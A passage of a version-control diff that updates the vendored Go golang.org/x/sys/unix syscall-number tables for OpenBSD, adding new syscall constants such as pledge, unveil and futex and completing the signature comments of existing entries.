-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
-+ SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
-+ SYS_DUP3 = 102 // { int sys_dup3(int from, int to, int flags); }
- SYS_SIGRETURN = 103 // { int sys_sigreturn(struct sigcontext *sigcntxp); }
-- SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, \
-- SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, \
-+ SYS_BIND = 104 // { int sys_bind(int s, const struct sockaddr *name, socklen_t namelen); }
-+ SYS_SETSOCKOPT = 105 // { int sys_setsockopt(int s, int level, int name, const void *val, socklen_t valsize); }
- SYS_LISTEN = 106 // { int sys_listen(int s, int backlog); }
-- SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, \
-- SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, \
-+ SYS_CHFLAGSAT = 107 // { int sys_chflagsat(int fd, const char *path, u_int flags, int atflags); }
-+ SYS_PLEDGE = 108 // { int sys_pledge(const char *promises, const char *execpromises); }
-+ SYS_PPOLL = 109 // { int sys_ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *mask); }
-+ SYS_PSELECT = 110 // { int sys_pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *mask); }
- SYS_SIGSUSPEND = 111 // { int sys_sigsuspend(int mask); }
-- SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, \
-- SYS_READV = 120 // { ssize_t sys_readv(int fd, \
-- SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, \
-+ SYS_SENDSYSLOG = 112 // { int sys_sendsyslog(const char *buf, size_t nbyte, int flags); }
-+ SYS_UNVEIL = 114 // { int sys_unveil(const char *path, const char *permissions); }
-+ SYS_GETSOCKOPT = 118 // { int sys_getsockopt(int s, int level, int name, void *val, socklen_t *avalsize); }
-+ SYS_THRKILL = 119 // { int sys_thrkill(pid_t tid, int signum, void *tcb); }
-+ SYS_READV = 120 // { ssize_t sys_readv(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_WRITEV = 121 // { ssize_t sys_writev(int fd, const struct iovec *iovp, int iovcnt); }
-+ SYS_KILL = 122 // { int sys_kill(int pid, int signum); }
- SYS_FCHOWN = 123 // { int sys_fchown(int fd, uid_t uid, gid_t gid); }
- SYS_FCHMOD = 124 // { int sys_fchmod(int fd, mode_t mode); }
- SYS_SETREUID = 126 // { int sys_setreuid(uid_t ruid, uid_t euid); }
-@@ -119,89 +129,90 @@ const (
- SYS_RENAME = 128 // { int sys_rename(const char *from, const char *to); }
- SYS_FLOCK = 131 // { int sys_flock(int fd, int how); }
- SYS_MKFIFO = 132 // { int sys_mkfifo(const char *path, mode_t mode); }
-- SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, \
-+ SYS_SENDTO = 133 // { ssize_t sys_sendto(int s, const void *buf, size_t len, int flags, const struct sockaddr *to, socklen_t tolen); }
- SYS_SHUTDOWN = 134 // { int sys_shutdown(int s, int how); }
-- SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, \
-+ SYS_SOCKETPAIR = 135 // { int sys_socketpair(int domain, int type, int protocol, int *rsv); }
- SYS_MKDIR = 136 // { int sys_mkdir(const char *path, mode_t mode); }
- SYS_RMDIR = 137 // { int sys_rmdir(const char *path); }
-- SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, \
-+ SYS_ADJTIME = 140 // { int sys_adjtime(const struct timeval *delta, struct timeval *olddelta); }
-+ SYS_GETLOGIN_R = 141 // { int sys_getlogin_r(char *namebuf, u_int namelen); }
- SYS_SETSID = 147 // { int sys_setsid(void); }
-- SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, \
-+ SYS_QUOTACTL = 148 // { int sys_quotactl(const char *path, int cmd, int uid, char *arg); }
- SYS_NFSSVC = 155 // { int sys_nfssvc(int flag, void *argp); }
- SYS_GETFH = 161 // { int sys_getfh(const char *fname, fhandle_t *fhp); }
- SYS_SYSARCH = 165 // { int sys_sysarch(int op, void *parms); }
-- SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, \
-- SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, \
-+ SYS_PREAD = 173 // { ssize_t sys_pread(int fd, void *buf, size_t nbyte, int pad, off_t offset); }
-+ SYS_PWRITE = 174 // { ssize_t sys_pwrite(int fd, const void *buf, size_t nbyte, int pad, off_t offset); }
- SYS_SETGID = 181 // { int sys_setgid(gid_t gid); }
- SYS_SETEGID = 182 // { int sys_setegid(gid_t egid); }
- SYS_SETEUID = 183 // { int sys_seteuid(uid_t euid); }
- SYS_PATHCONF = 191 // { long sys_pathconf(const char *path, int name); }
- SYS_FPATHCONF = 192 // { long sys_fpathconf(int fd, int name); }
- SYS_SWAPCTL = 193 // { int sys_swapctl(int cmd, const void *arg, int misc); }
-- SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, \
-- SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, \
-- SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, \
-- SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, \
-- SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, \
-+ SYS_GETRLIMIT = 194 // { int sys_getrlimit(int which, struct rlimit *rlp); }
-+ SYS_SETRLIMIT = 195 // { int sys_setrlimit(int which, const struct rlimit *rlp); }
-+ SYS_MMAP = 197 // { void *sys_mmap(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
-+ SYS_LSEEK = 199 // { off_t sys_lseek(int fd, int pad, off_t offset, int whence); }
-+ SYS_TRUNCATE = 200 // { int sys_truncate(const char *path, int pad, off_t length); }
- SYS_FTRUNCATE = 201 // { int sys_ftruncate(int fd, int pad, off_t length); }
-- SYS___SYSCTL = 202 // { int sys___sysctl(const int *name, u_int namelen, \
-+ SYS_SYSCTL = 202 // { int sys_sysctl(const int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); }
- SYS_MLOCK = 203 // { int sys_mlock(const void *addr, size_t len); }
- SYS_MUNLOCK = 204 // { int sys_munlock(const void *addr, size_t len); }
- SYS_GETPGID = 207 // { pid_t sys_getpgid(pid_t pid); }
-- SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, \
-+ SYS_UTRACE = 209 // { int sys_utrace(const char *label, const void *addr, size_t len); }
- SYS_SEMGET = 221 // { int sys_semget(key_t key, int nsems, int semflg); }
- SYS_MSGGET = 225 // { int sys_msgget(key_t key, int msgflg); }
-- SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, \
-- SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, \
-- SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, \
-+ SYS_MSGSND = 226 // { int sys_msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int sys_msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { void *sys_shmat(int shmid, const void *shmaddr, int shmflg); }
- SYS_SHMDT = 230 // { int sys_shmdt(const void *shmaddr); }
-- SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, \
-- SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, \
-+ SYS_MINHERIT = 250 // { int sys_minherit(void *addr, size_t len, int inherit); }
-+ SYS_POLL = 252 // { int sys_poll(struct pollfd *fds, u_int nfds, int timeout); }
- SYS_ISSETUGID = 253 // { int sys_issetugid(void); }
- SYS_LCHOWN = 254 // { int sys_lchown(const char *path, uid_t uid, gid_t gid); }
- SYS_GETSID = 255 // { pid_t sys_getsid(pid_t pid); }
- SYS_MSYNC = 256 // { int sys_msync(void *addr, size_t len, int flags); }
- SYS_PIPE = 263 // { int sys_pipe(int *fdp); }
- SYS_FHOPEN = 264 // { int sys_fhopen(const fhandle_t *fhp, int flags); }
-- SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, \
-- SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, \
-+ SYS_PREADV = 267 // { ssize_t sys_preadv(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
-+ SYS_PWRITEV = 268 // { ssize_t sys_pwritev(int fd, const struct iovec *iovp, int iovcnt, int pad, off_t offset); }
- SYS_KQUEUE = 269 // { int sys_kqueue(void); }
- SYS_MLOCKALL = 271 // { int sys_mlockall(int flags); }
- SYS_MUNLOCKALL = 272 // { int sys_munlockall(void); }
-- SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, \
-- SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, \
-- SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, \
-+ SYS_GETRESUID = 281 // { int sys_getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_SETRESUID = 282 // { int sys_setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_GETRESGID = 283 // { int sys_getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_SETRESGID = 284 // { int sys_setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_MQUERY = 286 // { void *sys_mquery(void *addr, size_t len, int prot, int flags, int fd, long pad, off_t pos); }
- SYS_CLOSEFROM = 287 // { int sys_closefrom(int fd); }
-- SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, \
-+ SYS_SIGALTSTACK = 288 // { int sys_sigaltstack(const struct sigaltstack *nss, struct sigaltstack *oss); }
- SYS_SHMGET = 289 // { int sys_shmget(key_t key, size_t size, int shmflg); }
-- SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, \
-- SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, \
-- SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, \
-- SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, \
-- SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, \
-+ SYS_SEMOP = 290 // { int sys_semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_FHSTAT = 294 // { int sys_fhstat(const fhandle_t *fhp, struct stat *sb); }
-+ SYS___SEMCTL = 295 // { int sys___semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_SHMCTL = 296 // { int sys_shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_MSGCTL = 297 // { int sys_msgctl(int msqid, int cmd, struct msqid_ds *buf); }
- SYS_SCHED_YIELD = 298 // { int sys_sched_yield(void); }
- SYS_GETTHRID = 299 // { pid_t sys_getthrid(void); }
-- SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, \
-+ SYS___THRWAKEUP = 301 // { int sys___thrwakeup(const volatile void *ident, int n); }
- SYS___THREXIT = 302 // { void sys___threxit(pid_t *notdead); }
-- SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, \
-+ SYS___THRSIGDIVERT = 303 // { int sys___thrsigdivert(sigset_t sigmask, siginfo_t *info, const struct timespec *timeout); }
- SYS___GETCWD = 304 // { int sys___getcwd(char *buf, size_t len); }
-- SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, \
-+ SYS_ADJFREQ = 305 // { int sys_adjfreq(const int64_t *freq, int64_t *oldfreq); }
- SYS_SETRTABLE = 310 // { int sys_setrtable(int rtableid); }
- SYS_GETRTABLE = 311 // { int sys_getrtable(void); }
-- SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, \
-- SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, \
-- SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, \
-- SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, \
-- SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, \
-- SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, \
-- SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, \
-- SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, \
-- SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, \
-- SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, \
-- SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, \
-- SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, \
-+ SYS_FACCESSAT = 313 // { int sys_faccessat(int fd, const char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 314 // { int sys_fchmodat(int fd, const char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 315 // { int sys_fchownat(int fd, const char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_LINKAT = 317 // { int sys_linkat(int fd1, const char *path1, int fd2, const char *path2, int flag); }
-+ SYS_MKDIRAT = 318 // { int sys_mkdirat(int fd, const char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 319 // { int sys_mkfifoat(int fd, const char *path, mode_t mode); }
-+ SYS_MKNODAT = 320 // { int sys_mknodat(int fd, const char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 321 // { int sys_openat(int fd, const char *path, int flags, ... mode_t mode); }
-+ SYS_READLINKAT = 322 // { ssize_t sys_readlinkat(int fd, const char *path, char *buf, size_t count); }
-+ SYS_RENAMEAT = 323 // { int sys_renameat(int fromfd, const char *from, int tofd, const char *to); }
-+ SYS_SYMLINKAT = 324 // { int sys_symlinkat(const char *path, int fd, const char *link); }
-+ SYS_UNLINKAT = 325 // { int sys_unlinkat(int fd, const char *path, int flag); }
- SYS___SET_TCB = 329 // { void sys___set_tcb(void *tcb); }
- SYS___GET_TCB = 330 // { void *sys___get_tcb(void); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go
-index bd28146d..f0dec6f0 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_amd64.go
-@@ -1,5 +1,5 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,openbsd
-
-@@ -9,109 +9,119 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-- SYS_ACCESS = 33 // { int sys_access(const char *path, int flags); }
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
- SYS_SYNC = 36 // { void sys_sync(void); }
-- SYS_KILL = 37 // { int sys_kill(int pid, int signum); }
- SYS_STAT = 38 // { int sys_stat(const char *path, struct stat *ub); }
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { int sys_readlink(const char *path, char *buf, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
-- SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, \
-- SYS_UTIMES = 76 // { int sys_utimes(const char *path, \
-- SYS_FUTIMES = 77 // { int sys_futimes(int fd, \
-- SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, \
-- SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, \
-- SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, \
-+ SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int sys_madvise(void *addr, size_t len, int behav); }
-+ SYS_UTIMES = 76 // { int sys_utimes(const char *path, const struct timeval *tptr); }
-+ SYS_FUTIMES = 77 // { int sys_futimes(int fd, const struct timeval *tptr); }
-+ SYS_MINCORE = 78 // { int sys_mincore(void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int sys_getgroups(int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int sys_setgroups(int gidsetsize, const gid_t *gidset); }
- SYS_GETPGRP = 81 // { int sys_getpgrp(void); }
-- SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, int pgid); }
-- SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, \
-- SYS_FUTIMENS = 85 // { int sys_futimens(int fd, \
-- SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, \
-- SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, \
-- SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, \
-+ SYS_SETPGID = 82 // { int sys_setpgid(pid_t pid, pid_t pgid); }
-+ SYS_FUTEX = 83 // { int sys_futex(uint32_t *f, int op, int val, const struct timespec *timeout, uint32_t *g); }
-+ SYS_UTIMENSAT = 84 // { int sys_utimensat(int fd, const char *path, const struct timespec *times, int flag); }
-+ SYS_FUTIMENS = 85 // { int sys_futimens(int fd, const struct timespec *times); }
-+ SYS_KBIND = 86 // { int sys_kbind(const struct __kbind *param, size_t psize, int64_t proc_cookie); }
-+ SYS_CLOCK_GETTIME = 87 // { int sys_clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 88 // { int sys_clock_settime(clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 89 // { int sys_clock_getres(clockid_t clock_id, struct timespec *tp); }
- SYS_DUP2 = 90 // { int sys_dup2(int from, int to); }
-- SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, \
-+ SYS_NANOSLEEP = 91 // { int sys_nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
- SYS_FCNTL = 92 // { int sys_fcntl(int fd, int cmd, ... void *arg); }
-- SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, \
-+ SYS_ACCEPT4 = 93 // { int sys_accept4(int s, struct sockaddr *name, socklen_t *anamelen, int flags); }
-+ SYS___THRSLEEP = 94 // { int sys___thrsleep(const volatile void *ident, clockid_t clock_id, const struct timespec *tp, void *lock, const int *abort); }
- SYS_FSYNC = 95 // { int sys_fsync(int fd); }
- SYS_SETPRIORITY = 96 // { int sys_setpriority(int which, id_t who, int prio); }
- SYS_SOCKET = 97 // { int sys_socket(int domain, int type, int protocol); }
-- SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, \
-+ SYS_CONNECT = 98 // { int sys_connect(int s, const struct sockaddr *name, socklen_t namelen); }
- SYS_GETDENTS = 99 // { int sys_getdents(int fd, void *buf, size_t buflen); }
- SYS_GETPRIORITY = 100 // { int sys_getpriority(int which, id_t who); }
-+ SYS_PIPE2 = 101 // { int sys_pipe2(int *fdp, int flags); }
